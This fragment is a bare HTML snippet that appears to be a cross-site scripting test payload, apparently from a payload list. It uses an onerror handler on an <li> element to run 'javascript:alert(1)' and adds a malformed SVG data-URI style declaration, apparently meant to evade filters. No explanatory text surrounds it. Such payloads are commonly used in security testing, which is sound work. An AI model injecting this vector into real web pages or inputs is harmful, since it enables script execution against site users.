<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg xml,%<svg/%>)